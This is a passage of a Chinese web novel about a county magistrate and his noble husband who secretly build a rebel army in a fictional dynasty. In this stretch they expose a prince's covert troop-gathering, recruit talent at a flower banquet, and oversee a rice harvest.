“只远远的听见了说话声,没看清人影,但瞧着该是山下的百姓,人数应该不多。” “叫兄弟们起来警戒,咱们一行人都穿轻甲,叫百姓见了难免泄露风声,远远的避开他们。”樊泊不想惹事,他是出门剿匪的,东家亲自吩咐,不得对百姓出手,真撞上了百姓也只能尽快离开。 有了樊泊的吩咐,还在休息的兵丁个个迅速起身,将周围的痕迹清除,然后随着樊泊往声音传出来相反的方向行走,但留了几个兵丁在原地侦查情况。 过了大半个时辰,侦查的兵丁才跟上大部队。 “樊头儿,情况不对,刚才我仔细瞧了,看打扮的确都是百姓,可人数不对劲。”一般上山打猎的猎户,都是几人结伴。 方才他瞧着,都有二三十人了,大部分都是青壮,手里虽拿着武器,但瞧人走路的模样,不像是在山里走惯了的猎户。 “看见他们往哪儿去了吗?” “深山。”这附近的山头没有大型猛兽,但深山里可不少,哪怕二三十人,没练过对付猛兽也都是送菜的。 樊泊皱了皱眉头,也觉得事情不对,先前打的山寨,原本舆图上只说是个没什么名声的小寨子,结果里面竟有百来人。 这会又有二三十人青壮入深山,一般这种情况都是逃避兵役才会出现。 眼下大历又没有征兵。 第92章 别此云隔日去了应州城外的庄子, 地契田契被原本的主人送到苏怡然手里示好,这会子别此云拿着地契田契登门,外加跟随一队人高马大还带着兵器的青壮, 原本庄子上做事的人都低垂着头, 怕惹了新主子不快。 原庄子上的管事得原主子信赖, 庄子给出去的时候被带走了, 现在庄子也没个管事,但难得都还老实。 书墨这次跟来,一是替公子接手所有在应州的产业,二是认认人,好叫庄子上做事的人晓得公子不在该听谁的话。 庄子到别此云手里也不过几个月, 又错过了秋收, 眼下庄子几乎没什么赚钱的路子, 账本当然也没有。 庄子上的产出不是小数目,时下清平县缺粮, 别此云打算利用这些庄子做遮掩,给兵营供应粮草。 整个上午, 庄子的人都忙的脚不沾地, 除开新主子要盘查庄子的收益外, 还要把庄子上里里外外的人都见识见识。 至于庄子上的佃户, 倒没那么着急。 书墨在长安替公子打理大部分产业, 眼下一个小庄子自然难不倒他,耗费了几个时辰, 总算是处理了庄子的琐事,本该休息,奈何账目不对劲。 “公子。” “怎么了?”别此云上午在看应州城的账目,说实在的, 应州城人口过少,若不是他做的买卖,大部分需要倾销到大历各地,这生意很难做下去。 “庄子没有管事,几个月出产的粮食肉类几乎是下面的人随意买卖的,我方才整理了一下,有几笔支出不太对。” 别此云接过账目,沉吟了片刻,这不就是他们最不希望外人查到大批量采买的情况吗? 应州城还有人跟他们做同样的事? “更早之前的账目查不到了,不过我问过下面的人,这样大批量向庄子收购粮食肉类的情况是否常见,他们说好几年都如此,前不久停了几个月,还导致庄子上囤积了大量的粮食没卖出去,接着消失的采买人又突然出现了,只是管庄子管事不在,成交的账目就东一笔西一笔。” 采买人,别此云的手指在桌子上敲了敲:“吩咐下去,若再有采买人登门就说庄子换了主子,是别家的人。” “是。” 平王啊平王,才偷了你一支精兵你都没查清楚,竟然这么快又想干老本行,也不怕再偷鸡不成蚀把米。 “琴砚拿笔墨过来。”平王的行动须得尽快告诉尚柒。 …… “樊头儿,打听清楚了。”一个身着补丁的精瘦汉子从山下悄摸上来,和大部队会和之后一刻也没敢歇息的到了樊泊跟前。 “什么情况?” “山下近来在征徭役,且这次徭役不肯给钱赎人,山下农户说,前些年也有过几回征这样的徭役,但人去了没一个回来的,不少人联合村长去官府询问,最后都给打了回来,现如今又征徭役,大部分百姓都叫家里的青壮出去躲躲,也好过丢了性命。” 樊泊听完半闭上眼,徭役每年都征,大部分都是到县衙服役一月,多是修缮县内杂事,连续一月干重活,不少百姓是受不住的,一般会用钱免役。 不能花钱消灾的情况只有一个,那就是人手不够,但一个县城有活没活不过是县令的一句话,又不是皇帝王爷要修行宫,需要征集人手,如何不能花钱。 更不说,什么徭役是一去不回的,就是兵役也没有这么高的折损率。 “你们中谁是服徭役到军营的?”樊泊看向跟着他的诸位兄弟,心底有了猜测。 “樊头儿,我们大部分都是外州的,多数人都是抢上山的。”有汉子挠头。 “抢上山?”樊泊不信外州能有这么猖獗的土匪,大概率是平王的人装成山匪在各州抢人。 可怎么在应州,会用徭役的借口? “不错,我们营里大多数人都是被抢到山上的。” 樊泊想了想,他听蔺管事说过,平王的兵马狡兔三窟,有几处营地置兵,相互不知如何被弄上的山的也情有可原。 “咱们按兵不动,我要给蔺管事传一封信回去。”这情况樊泊肯定管不了,要看东家那边什么意思。 于是别此云和樊泊的信件一前一后到了尚柒桌案上,比尚柒派去调查的探子都要快一步。 “东家,我还当平王不追查出谁偷了他的兵马,不会善罢甘休,结果竟然又想另起炉灶,咱们总不能这么看着。”宋月隐得知应州情况后,露了个苦脸。 怎么平王跟个打不死的小强一样,前面兵马去处都没查出来,又开始搞新的兵马,如此喜新厌旧,也不怕广运帝发现再来一次彻查封地。 “平王愚蠢就算了,平王身边的幕僚总不会每个都是傻子,这个节骨眼上征集人手,多半是有什么要用兵的情况。”尚柒看过信后仔细思考,长安近来没有传出有什么消息。 平王要防备谁?西南豪强?还是说防备暗中的他们。 但无论前者还是后者,现在征兵对平王来说都不是好事,至少被广运帝再发现平王私下屯兵,必会被摘了王爷的帽子,送去和庄王一块守灵。 “那咱们是作壁上观还是和平王下场掰掰手腕?” “螳螂捕蝉黄雀在后,不管平王为什么召集人马我们只管看着就是,说不准平王要再当一次送财童子。” 至于掰手腕,尚柒不得不说他眼下还没有资格,突兀的将兵马暴露在平王等人眼前,无异于自寻死路。 “平王能够在应州通过征徭役收集青壮,各地方县令恐怕逃不了干系。”也不是整个应州县城都在征徭役,至少清平县和黄谷县没收到这个命令。 不知是平王故意绕开,还是说只有归属于平王手下的县令才会执行平王的命令。 “月隐,派人在县里和黄谷县打听之前是否有征过这类徭役。” “是。” …… 孔郎君给最后一个汉子添完饭,活动了片刻肩膀。 因为之前在私塾工地做饭做的好,孔郎君已经能在各个工地胜任后厨一职,村子打修了私塾后,也不断在修缮其他东西。 例如他们村靠河,修一个水库供干旱时调用就是有必要的,别看西南多山,但干旱洪涝并不罕见,只是旱的旱,涝的涝,也不晓得是不是龙王爷布雨的时候打了瞌睡。 去年西南大部分地方都落了几场小雪,连屋檐上都积了薄薄一层,按说今年该是个丰年,但村里的老人打开春后,神情时不时就露出忧虑,怕到了夏日老天爷不给面子。 如今尚大人赶在夏日前给村子修个水库,大部分人心里都踏实不少,毕竟种田没水可怎么成,地里干裂粮食不长,一年收成都毁了。 莫说缴税,一家子都活不下去。 不过好在眼下粮价太平,他和当家的做了几个月工,也攒了一些钱,就商量着去粮铺多买些粮回来。 想着今年真要是绝收了,到明年的档口也不缺粮吃。 村里和他们家一样想法的不在少数,若是往年这样多人前去买粮,粮铺的老板早竖了牌子要喊高价了,幸而尚大人家也有粮铺,哪怕人买的再多,粮价也平稳,弄得县里做粮食生意的商人也不敢涨价。 既怕百姓不去他们粮铺买粮,也怕得罪了尚大人。 “徭役?每年有征,但前一个县令更喜欢咱们给钱,若有不肯给的就叫他们去做采石的苦活。 那等辛苦活干一旬都伤身的很,如何能干一个月,大部分人家还是咬咬牙出了这笔钱,少部分人家实在出不起,只能去人,咱们村就有几户人家没钱,家里儿郎去了回来,躺了两个月都没恢复过来。” “听闻也有死了的,不过徭役一惯会死人,只是多少罢了,大家伙也不敢去官衙门闹事。” 说起来,今年还未听尚大人征徭役的事,按说修路修水库水渠这样的事,该征徭役来做,偏尚大人心善,叫人做工拿钱。 孔郎君和几个做饭的娘子郎君回了官差的话,心里有几分忐忑。 “莫不是尚大人打听前一个县令做的事,打算照规矩办事?” “什么规矩,给钱?瞧尚大人给咱们修私塾,免费教咱们那群皮猴认字,咱们就是把家底掏空都补贴不上。” “可县里能干的差事,尚大人都是招百姓给工钱去做,这会子还能有什么徭役要征?” “许是大人只是问问,咱们这等小民,打听那么多做什么?不若得空多认几个字,也不知私塾的先生怎么安排的,非要家里的小子姑娘认了字,也要教咱们认字,我都一把年纪了,哪里学的会。” “如何学不会,我已经会认家里人的名字了,就是字还不会写,一笔一划用树枝刨出来都丑的不敢见人,更不敢糟蹋了纸张。” “哈哈,我也是,我家姑娘说我的字跟那鸡爪划出来的差不多,可叫我急红了脸。” “那你还不赶快多写写,日后签契书,咱们也能自己写名字,再不用盖个指头。” “等收拾完了碗筷就去,万不能耽误正事。” 第93章 长安, 别府。 “今日怎么回来的这么晚?可是同僚应酬?”张青浣一手摇着团扇,给床上睡着的孩子驱蚊,一边询问方才进屋的别景季下值去做了什么事。 “是东宫那边召人议事, 祖父年纪大了, 白日上值辛苦, 父亲就让我和他去一趟。”别景季脱了外衫, 走到床边,瞧着两个孩子睡的正熟,露出笑意,“怎么在这儿睡着了?” “他们等着见父亲,哪想你回来的这样晚, 没熬住就睡着了。”张青浣将团扇递给身边伺候的侍人, 起身往桌案去, “东宫那边又遇上什么麻烦了?” “前两日西南传了消息,道平王私下在搞小动作, 太子得知后气的不轻,邀了属臣过去商议拿平王怎么办?”别景季说着叹了口气, 这些皇子们当真是消停不了多久。 “平王做了什么?”张青浣虽不管政务, 但别家内外大大小小的事内眷也都会过问。 “招兵买马。” 张青浣露出惊讶的神色:“若我没记错, 去岁陛下才遣了人去西南查平王手里的兵马, 虽没查出个所以然, 但平王竟还敢顶风作案?” “去岁陛下遣人去各个王爷的封地搜查,只查出了江南齐王的兵马, 晋王那头人没查出来,但证据肯定落到了陛下手里,偏平王奇怪,陛下的人查了两个月都没寻到踪迹, 最后不了了之,许是平王见陛下没能查出他的兵马,便更加肆无忌惮。” 去岁因为庄王牵连诸位皇子的案子朝中大部分人都门清,平王那头虽然什么都没查出来,但没人信平王真没在西南养兵,只暗地里想平王藏的深。 “即如此,为何太子会收到消息。”平王能瞒过皇上,难道还瞒不住太子不成? 别景季摇头道:“消息是尚柒传来的,说是平王一直借徭役的名义征集青壮,近来又在应州故技重施,逼得应州好些县城的青壮入深山躲徭役。” “尚柒在应州清平县任县令,平王怎么可能不知道,竟还胆大包天的在应州征集青壮。”张青浣都不知道平王究竟是怎么想的了。 “平王怎么想的不重要,重要的是太子借此机会拿到了平王的把柄,今日太子召集我等过去,就是想在陛下面前揭发平王的举动。” “先前各皇子都养兵,陛下只罚了第一个被查出来的五皇子,其余皇子轻拿轻放,这会平王要是再被揭发,多半落不得好下场。”在张青浣看,平王被废许是好事,至少太子这头少了个竞争对手。 “理是这个理,但陛下近来在朝中逼迫大臣同意出兵突厥,突然冒出一个平王打乱他的计划,只怕也会对太子有所不满。” 出兵突厥的事一拖再拖,皇帝的耐心都要耗尽,在他看今年秋收前还不出个结果,最后只会弄得两败俱伤。 “所以你不赞同这时候太子跳出来揭发平王?” “嗯,一来尚柒送来的证据都是证词,没有抓到平王养的私兵,到时候平王抵赖,容易被倒打一耙。 二来陛下那边没心思处理平王私兵的事,满心都在发兵突厥上,闹出来陛下定要对太子有所不满。” “可劝下太子了?”张青浣知道夫君不会无的放矢,但又怕太子不肯听劝。 太子也不是没有妄自尊大的时候,哪怕吃过无数回教训,也不见太子有所改进。 一般只有祖父劝告人才会听进去一两分,今日偏祖父没去,太子能不能听父亲和夫君的话,还未可知。 别景季面露难色:“你也知道太子渴望扳倒其他诸位皇子已经很久了,眼下拿住了平王的七寸,他想趁热打铁。” 张青浣忍不住皱眉,然后叹气:“事情到了这一步,咱们多半不能阻止太子,或许叫太子不要让他的人出面揭发,想要扳倒平王的不光太子一脉,晋王齐王知道了多半也会想法子行事,何不借刀杀人。” “我亦如此想的,只是齐王去岁被陛下接连训斥,导致在萧家面前抬不起头,真要是告诉了齐王,哪怕齐王忍不住,萧家也会压住齐王出面。 晋王此人阴险,只有他利用别人的份,真要如实相告,说不得最后还是咱们的人被晋王拉出去做替罪羊。” 熬到决赛圈的诸位皇子,谁也不是省油的灯。 “没有别的法子了吗?”张青浣知道别家和太子在一条船上,太子真要是惹了陛下不喜,虽不会轻易被废,但难保在兄弟间争夺中落下风。 其余皇子又和鬣狗一般,抓到机会总会乘胜追击,瞧五皇子庄王,不就是因为被发现外家勾结军队,轻易就被踢出局,再没有翻身的机会。 “我和父亲打算和其他几位同僚一块想想法子,拖延太子的步子,等西南那边在传来一些消息再说。” “这得看尚柒和此云在西南能否发现更多的消息。”张青浣说着又难免担忧,“此云和尚柒在应州,若是打草惊蛇被平王发现谋害性命怎么办?” 应州其他人或许会给别家面子,不敢动尚柒和此云,但平王就不好说了。 “眼下平王还不知道尚柒传了消息回来,暂时还是安全的,我想着再派遣一些人手过去帮他们。 平王真要是想谋害尚柒和此云,也不会大张旗鼓,毕竟咱们家在长安也非泛泛之辈。” 别景季说是这么说,但该担心还是担心,西南眼下是虎狼之地,此云和尚柒的人身安全不能得到保证,若有办法能够叫他们离开西南是最好的。 “此事还是要和父亲祖父商议才是,娘若是知道此云在西南有性命危险,必会叫人回来。” “我也想叫此云回来,但你也知道此云对尚柒情根深种,尚柒在西南真要是有性命之忧,此云不会离开尚柒独自逃生。” 何况西南之行,本也是此云为了避难叫他活动的,说来是尚柒陪着此云去的西南,这时候叫此云丢下尚柒,叫尚柒如何想。 “或许收集平王再次囤积私兵的事,由我们接手,叫尚柒和此云安心在应州待着。” “也是个办法,只盼太子那边不要出岔子。” …… 清平县。 冯风的信加急走水路送到县衙门,尚柒自打把西南的发现送去长安,就老实在县里发展,将近半年过去,清平县已经大变摸样,就算是原本的县令回来,也怕会认为走错了地方。 “兄长前些时候来信还叫咱们多加小心,也说会劝太子,当时我就想太子若是能劝的动,也不至于这些年还高不成低不就。” 别此云也看过信,低笑,实在是太子不长教训。 “原本将这则消息送去长安,就是想着借太子之手除掉平王,没成想买一送一,不光平王封地被收了回去,连带着太子都吃了禁闭。” “正撞到气头上,只关了禁闭已经算好的,想来长安接下来不会太平。” 太子和平王两方受挫,先前低调的晋王和齐王必会冒头。 “平王在西南的人手被废,咱们可以加速吞并更多地方。” 自从清平县和黄谷县的官道修好,两县人来往就更密切了,每日马车行都要送人来往,赚了个盆满钵满。 “邹县令装聋作哑,是因为咱们拿住了他的软处,往外走,其余县令还需要先调查再动手。”虽说他们可以截获这些县令对外发出的信件,但百密一疏,万一被人求援到上面,他们在西南的事就暴露了。 “不必,因为平王的事,连带着应州一些听从平王吩咐的县令都遭了殃,眼下这些县城群龙无首,正好叫咱们趁虚而入,等真的完全掌控了这些县城,新县令来了自然只能做傀儡。” 朝廷办事效率一向不成,应州一口气缺了多个县令,长安那边短时间调不到人过来接应,左右地方没了县令也还有县丞县尉接管,出不了大事。 “可以是可以,但咱们的人手够吗?”眼下清平县和黄谷县的人手都是尚柒在礼县调来的,别此云手里的人也不少被征用了去。 县里私塾才开了不到半年,哪怕是冰雪聪明的孩童,识字快,也远达不到能做事的地步。 “不太够,所以是时候开始招纳贤才了。”尚柒知道他们眼下一城一地不过小打小闹,真要起义,现在的人手远远不够。 且真正能比的朝中有能力的人,也少之又少,新一代人手至少还要两到三年的培养时间,在此期间必须要有足够的人手控制现有的地盘。 “西南能够招纳的都是地方豪强,咱们要干的可是打土豪,他们能愿意一边挨打,一边替我们做事吗?”别此云认为地方豪强愿意跟随尚柒和他,多半还是想着分一杯从龙之功的羹。 “自然是不肯的,所以……” “所以你打算威逼利诱?” “那是下一步,咱们还未在应州开始展露名声,在威逼利诱之前,咱们还是做老本行比较好。” 老本行,别此云一顿,他和尚柒招纳人才的老本行方式是——撬墙角。 “从哪里下手?”一般地方豪强家的儿郎几乎不会被撬走。 “从有野心又没有出头机会的人。” 第94章 应州城。 尚南枝已经在应州安顿下来, 尚家的生意也全都在应州扎了根,本地做买卖的豪强得知尚家攀上了别家,都只有巴结的份, 一点为难人的意思都没有。 不过尚南枝以一个姑娘的身份在应州城行走, 私下里免不得有人贬低几句, 但也没人敢在尚南枝跟前说。 闲话也都没传到尚南枝耳朵就给掐灭了。 “二小姐, 东家这是什么意思?”关二娘出礼县没几个月,跟在二小姐身边也算是开了眼界,从一开始做事畏畏缩缩到如今见到贵老爷也能面不改色,已然练就出一副好胆。 “阿兄想要撬应州豪强的墙角。”尚南枝读过信,脸上的笑意怎么都掩盖不住, “明儿不是有娘子请我去赏花宴, 替我答应了。” “二小姐不是说不喜欢去这些宴会, 怎么突然又改主意了?” “阿兄想要墙角,我总要去人家院子才能挥锄头, 不然就在咱们家,挖的可是自家的根基。”尚南枝瞧着似懂非懂的关二娘, 知道人还有的学, 也不在意, “明日赴宴需要准备一身衣裳, 若是没寻到, 就去成衣坊给我买一身,要好的。” 尚南枝谈生意都穿的干练, 又不是去相看人的,自然没有准备什么赴宴用的衣裳,以前阿兄倒是准备的有,奈何近半年她又长高了, 从前的衣裳是穿不得了。 “诶。” “白管李房。”这四家是应州本地势力,为首的是管家,其余三家大差不差,这四家养的姑娘哥儿,也算是个个知书达理,字必然是认识的。 至于是不是都能吟风颂月,就需要进一步考察,再一个,明日的宴会除开眼下这四家,还有其他名声不显的小世家也会来,虽比不上为首的四家,但谁说一定不能淘到金子。 …… 内宅办的赏花宴,少有真心实意给外人看自家得来的珍品花卉,多是对外的噱头,主要的还是大型的相亲会。 若有男子被请来,多半就是叫姑娘哥儿借机相看家里定下的人家,若没有男子被请来,就是各娘子郎君替家里儿郎相看宴上的姑娘哥儿。 尚家在应州城算新贵,虽和白家交好,但只凭尚家做生意的门第,是进不了赏花宴的门。 奈何尚家命好,尚家主事的儿郎娶了长安别家的公子,一下越过了西南所有豪强,成了人人巴结的对象。 上回别家公子到应州城处理产业,得了风声的豪强内眷,哪个没递帖子想要登门拜访,结果人都给拒了,也就是在白家的宴会上露了个面。 要不说人是长安来的,整个宴会上,没一个姑娘哥儿比过人家的,且人家就是冷脸,也多的人凑过去,管家大房的娘子一惯嚣张,那日还不是伏低做小。 只是人别公子谁也没理,打理完自己的产业就回了清平县,城里若还想搭上别家关系,只能从尚家出面做生意的小姑娘下手。 这不,好几次宴会尚家二姑娘都没来,今日听闻来了赏花宴,不少人都好奇尚二姑娘呢。 关二娘跟着尚南枝来了赏花宴,瞧着满院从前都接触不到的娘子郎君,颇为好奇。 毕竟这院子里,哪个没有穿金戴银,若说赏花,院里种的姹紫嫣红不比人娇艳。 尚南枝目光一一打量过这次赏花宴上的姑娘哥儿,阿兄想要撬墙角,嫁人的娘子郎君是撬不动的,只能从未成亲的姑娘哥儿入手,且还不是那等受宠的姑娘哥儿。 至于不受宠的,其实宴会上基本一眼能看出来,来之前,尚南枝已经整理了一份名单,只差将人脸和人名对上。 于是尚二姑娘在赏花宴上不断游走结识未成亲的姑娘哥儿难免引起注意。 “专挑不受宠的结识,莫不是准备给他兄长纳小?”有娘子打着团扇,听见宴会上尚南枝的举动,没忍住脱口而出。 “以尚家的门第,这院子就是不受宠的姑娘哥儿嫁过去,那也是低嫁,就算是尚家凭借别家翻了身,那也是别家的本事,尚家有这个心思,别公子能愿意?” “指不定是别家公子身子出了问题,需要一个妾室替尚家儿郎开枝散叶,不然以别家门第怎么挑中尚家的?” 这话是有道理的,若真是别家公子没法怀孕,尚二姑娘替兄长挑选妾室,定然是得了别家的允许,如此也不失为一个和别家交好的机会。 便是不成,也不过是赔一个不受宠的姑娘哥儿,算不得什么。 心里有了计较,不少娘子郎君便请了人去通知这次过来的孩子,要她们务必讨好尚二姑娘。 “二小姐,怎么过来和咱们说话的人越来越多了?”关二娘见过来打招呼的姑娘走开,低声询问尚南枝。 尚南枝摇头,她虽晓得参加宴会,必会有人想要和她结交,好通过她认识别哥哥,但一开始也没这么热络,甚至不少姑娘哥儿还是她们主动认识的。 怎么没过多少功夫,她又成了热饽饽,连管家的姑娘哥儿也接二连三的过来认识,且过来说话的,没几个是正得宠的姑娘哥儿,正正好合了她的心意。 “算了,兵来将挡水来土掩。”先和人认识,之后才好约出去。 —————————— 别此云盘算粮食,眼瞧着入夏后还没落过雨,需要做好今年是个旱年的准备,好在早先已经将各村的水库修缮完毕,真要是一点雨不落,水库的水还能撑一阵子,不至于叫百姓颗粒无收。 再一个他和尚柒也在调其他地方的粮食过来,等真接管应州大半县城,这些粮食就可以用来平粮价。 “公子,书墨寄了信过来。”琴砚匆匆入门,想是有什么要事。 “是应州城的生意出了什么问题?”今日不是按规矩送信回来的日子,一般只有发生大事书墨才会特意寄急信。 哪想等别此云看过信件,脸色却难免古怪,他什么时候授意南枝给尚柒纳妾了? 信里还说这消息传的有鼻子有眼的,仿佛真有那么一回事。 若换成大历的儿郎,别此云信人有这个心思,但是尚柒,只怕不会如此行事。 那么,其中是有什么误会? 不待别此云考虑清楚,门外传来一阵急促的脚步声,不必看都知道是尚柒,这时候人不在衙门做正事,如何回来了? 莫不是…… “此云。”尚柒疾行回来,自然也是因为应州城送了一封信,怕人误会。 “如此着急,可是有要事要解释?”别此云晃了晃手里的信件,露出一个得意的笑容。 “呼——看来我不解释,此云也信我。”尚柒缓了口气,一改之前的急躁,从容不迫的走进屋。 “我自然信你,毕竟你真要有其他心思,绝不会这样容易叫人察觉。” 尚柒无奈,不说他个人品行,单是他俩搭伙干的事,能叫外人插足吗? “说说吧,应州城为何生了这样的谣言。”别此云还挺想知道如何会生这样的误会。 尚柒闻言先是叹了口气,才道:“事情要从咱们准备挖墙脚说起……” 尚柒将南枝送来信上说的前因后果娓娓道来,虽说阴差阳错,但南枝将错就错,借这个机会把应州城里大部分姑娘哥儿接触了个遍,也算是摸清楚了哪些能挖哪些不能挖。 这事唯一的坏处,就是损了他的名声,如今应州城里的娘子郎君只怕认为他是色中饿鬼,竟叫自家妹妹跟选妃似的见了这么多人。 话落,别此云果然不厚道的笑出声,甚至连眼泪都要笑出来了。 打他们认识,还不见此云这么开心过,尚柒苦中作乐,也算是博美人一笑了。 “缓一缓,待会笑岔了气,难受的可是你。”大笑容易乐极生悲。 别此云是得缓一缓,眼角的泪珠被尚柒轻柔的擦去,整个人又被尚柒搂进怀里,幸亏屋里有冰盆,不然这个天别此云肯定是不乐意这么亲密接触的。 “应州城的娘子郎君当真会想,只一两个举动便脑补了这样多。”别此云停住大笑,但说话间还是难藏笑意。 这事只怕数年后,都会被拿出来当笑料。 “幸而她们在应州,若是在长安,光靠脑补上面的人想法,不知要闹出多少笑话。” 卧龙凤雏不少见,但这么多卧龙凤雏扎堆出现,也算是一等一的奇观。 “南枝将错就错,虽毁了你的名声,但事顺利替你办好了,只是那些你看中的姑娘哥儿真要是离了应州城,她们的家长怕是少不得要来找你麻烦。” “我真要是娶了她们,这些人找我麻烦还有道理,可我们之间清清白白,人也都不在清平县,他们要来找我麻烦,总该先弄清楚人去了哪里,不然岂非是冤枉好人。” “这话你说了不算,我瞧等人跟咱们走了,必会有几家豪强登清平县的门,到时候需要我帮你撑腰吗?” “你若出门,这些人只怕不认为你是在为我撑腰,反倒是在助纣为虐。” “你要自己摆平他们?”别此云好奇尚柒的打算,尚家虽然和别家有千丝万缕的关系,但到底在西南,应州城的豪强真聚集在一块,总要给几分薄面,强龙不压地头蛇嘛。 “不,帮他们找些麻烦牵绊住脚步,等他们自顾不暇了,自然就不会来登我的门,寻我的麻烦了。”消灭矛盾最好的办法就是转移矛盾,他这会没那么多空闲和豪强玩太极。 “有道理,那你是打算动他们的地,还是动他们手里捏着的隐户。”豪强势大,无非靠地藏匿隐户,找他们麻烦自然也该从这两方面下手。 “地是豪强根基,咱们要动必须等一个一击毙命的机会,现在远不是时候。” 不动地,自然是动人了。 第95章 田地间, 头茬的稻子正在抢收,今年清平县种的都是新稻,是县里推广的新种。 刚出来的时候没几个愿意种, 但县里出了政策, 愿意种新稻的人家今年可以不交秋税。 一听免税, 不少农户都在心底打了个算盘, 不管新县令这稻种是不是跟传说中的一样神奇,能种两季,单是不收税,哪怕田地粮食减产,留在手里的粮食也比从前多。 再加上, 不少种田的老手都看过新稻种子, 个大饱满, 一看就是能种出粮食的好种子,答应种新稻的人家就络绎不绝。 紧接着跟着用新的肥田之法伺候的田地的百姓也越来越多, 这不,刚到头茬稻子抢收, 不少人已经干的热火朝天。 因为有眼睛的都能看出田地里的稻子是要丰收的, 这也多亏新县令修的水库, 今年夏天落雨落的晚, 若不是有水库的水给各家分用, 就是这稻子能种出黄金,也结不出果。 “头茬赶在七月中收完, 第二茬的秧苗各家也都育好了,只等立秋前全部种下就等霜降前收割。”王成思跟在东家身边,走在村里的田垄上介绍情况。 “种新稻的人家今年免去秋税,两茬稻谷必会大量卖出去, 县里供应的肉类和铁器需要多准备一些。”粮食收的多,农户留够一家子吃的,多是会卖去粮行。 尚柒和别此云手里有钱,多少粮都能吃下,军队就是吃粮大户,若不在西南推广种双季稻,不知多少人要饿肚子。 “养殖场那边已经上了正轨,猪肉供应没那么快,鸡鸭是每日都有现货,咱们不够还能从隔壁县调。” 黄谷县水系比清平县发达,更适合养鸭养鹅、 “应州其他县城今年收成如何?” “不大好,今年落雨晚,旱了一阵,其余县城都没修水库,有河的村子还好,没河的村子连吃水都困难,直到落了几场大雨才好转,地里虽说没有绝收,但也减产了。” 这是没办法的事,种地就是看老天爷是不是给面子,给面子,风调雨顺都不敢说丰收。 不给面子,单是时机不对来一场瓢泼大雨或是干脆一场雨不下,地里的作物都难活。 “粮价现在多少?” “斗米三十五文,不过咱们县的粮价没变,依旧斗米二十文。” 涨了十五文,若是在青黄不接的时候这个价也就罢了,偏赶在秋收的档口还这么高价,可见其他县灾害情况的确严重。 “等农户卖了头茬粮食到咱们粮行,就往其他县城送过去,尽量将米价压在三十文往下。”等第二茬稻子种出来,粮价还能再跌。 “没问题。” 田地做事的农户忙的没有时间抬头,知道田垄有人路过,但谁也不愿意耽误功夫,毕竟现在是和老天爷抢时间的时候,抢收抢种,等年前收获,一家子都能过个肥年。 回到县里,尚柒换下外衣,今年因为是在清平县的头一年,他没叫百姓跟着种棉花,等明年,他在百姓那里的名声更稳一些,就可以推广棉花。 “去田间看过了?”别此云打门外进来。 “嗯,今年地里丰收,先前看着夏日迟迟不落雨,我还道今年遇上旱灾了。”旱灾水灾并不罕见,整个大历隔几年就要来一遭。 “我也以为,都算着从长安附近调了不少粮食过来,幸亏虚惊一场。”他们刚开始创业,哪经得住这么折腾。 “粮仓是该修起来了,今年虚惊一场,明年不见得也是虚惊一场。” “说起粮仓,你我都知道粮仓的本意就是为了给各县城或是军队提供粮草的,但没有监管机构,以如今的情况只怕会成为各县官贪污的项目。” 好一些的贪官,陈粮换新粮卖出去,小赚一笔,遇上灾情,还能拿出粮食。 狠心的贪官,干脆将粮仓里的粮食全卖出去,自己狠赚一笔,遇上灾情,先一步逃之夭夭,丢下百姓自生自灭。 只要在任其间,粮仓没开启,外人也不知道粮仓里的粮食有还是没有。 “常平仓需要专管,但眼下咱们要建的粮仓更像是咱们的后备资源,你我还在西南,暂时不必担心有人贪了去。” 今年丰产,加上还有第二季稻子,真按朝廷的税收不知要收多少去,正好应州其他县城都减收了,他上报秋税自然也跟着其他县城走,不然在一众减收的队伍里突出,很难不引起朝廷的注意。 …… 军营。 暑热的天,军营的汉子们也都不在太阳底下拉练,晒伤了都好说,要是中暑就不得了。 如今军营不缺军医,也不缺药材,夏日常用的驱虫香囊,藿香正气丸都是有的,也叫在山里的日子好过一些。 “樊将军,弟兄们今日想去山间溪水玩一玩,天气实在太热了。”副官被推选过来跟樊泊说好话。 打上次樊泊带兵出门剿匪,连挑几个大寨子,把山寨里的汉子都活捉了送去矿场做事,立了大功。 一回来樊泊就拿到军营的掌控权,下面的兵汉见面也都称人一声将军。 虽然他们是造反的反贼,叫将军不伦不类,但话又说回来,谁造反不是想着把正规朝廷取而代之,眼下他们叫将军当是提前适应正规军的生活。 “可以,但结伴而去。”营帐周围都有人活动,按说山里的野兽都会离开,但万一碰上不长眼的怎么办? “樊将军放心,真要是遇上猛兽,弟兄们正好活动活动筋骨,遇上野猪打了回来给弟兄们加餐,遇上大虫正好打了给东家送张虎皮。” “口气不小,真遇上了别被吓得逃跑就好,溪水里也瞧仔细了,夏日多蛇,也喜在水里游荡。” “得了,樊将军。” 有了将军的命令,一大批休息的汉子各自结伴去山里的溪水泡一泡,叫另外留在军营上值的汉子看的眼冒金星,这样热的天气能去水里滚一遭,不知有多凉爽。 “该死的,怎么今日我偏上值,这会连喝口凉水都是热的,半点不解渴。”军营的水都是伙房特意烧开晾凉的,可惜山里也没个井,不然煮一锅绿豆沙在井里凉着,一口下去不知多舒服。 “今日你值守,改明儿不是休息吗?到时候你去他们也羡慕你。” “往年山里多树,再热的天躲进山里,也比在外面凉快,今年也不知是怎么的,咱们都在山里还是热的难受,也不知道山下人怎么过日子。” “山下有山下的活法,咱们哪管的了这么多,还是想想什么时候东家再派咱们出去,上次剿匪,不少汉子立了功,不光被提拔了职位还得了奖赏,要不是没有任务不叫咱们出营帐,只怕不少人都要花天酒地了。” 营里的弟兄都是拿俸禄的,如今营里管吃管住,拿到手里的钱基本都没有花销出去的时候,不少弟兄都叫账房那边保管着,说是等什么时候能回家了,再一块带回去,衣锦还乡。 去溪水的汉子们还不到地方,身上就只有拴了裤腰的垮裤了,等人一活动开,水里几乎跟下饺子似的。 也是山里溪水略深了些,不然刚过脚脖了的溪水,一屁股做下去,也没打湿多少。 这处溪水,最深的地方几乎能没过小腿,水里有时候还能见着一条一指长的小鱼,有汉子心血来潮要抓了送去伙房给大家伙夜里添个鱼汤。 “得了吧,这样小的鱼,你抓成千上百条煮一锅都不够咱们几千人分,还是放其一条生路的好。” “就是,伙房也没少你肉吃,鸡鸭鹅轮着花样给咱们吃,还缺这一口鱼汤喝?” 那汉子闻言也作罢,营里的伙食比自个儿家里吃的还要好,不说顿顿有肉,但隔一日就能吃到荤,可是连乡下地主家都不见得会这么过日子。 原本军营许多人都还矮瘦,等伙食一上来,一个个都往膀大腰圆发展,单拉出去就能看出是一支精兵强将。 “也不晓得什么时候才能回家看看。” “等东家什么时候正式起兵了,咱们就能回家了,我看不远了。” 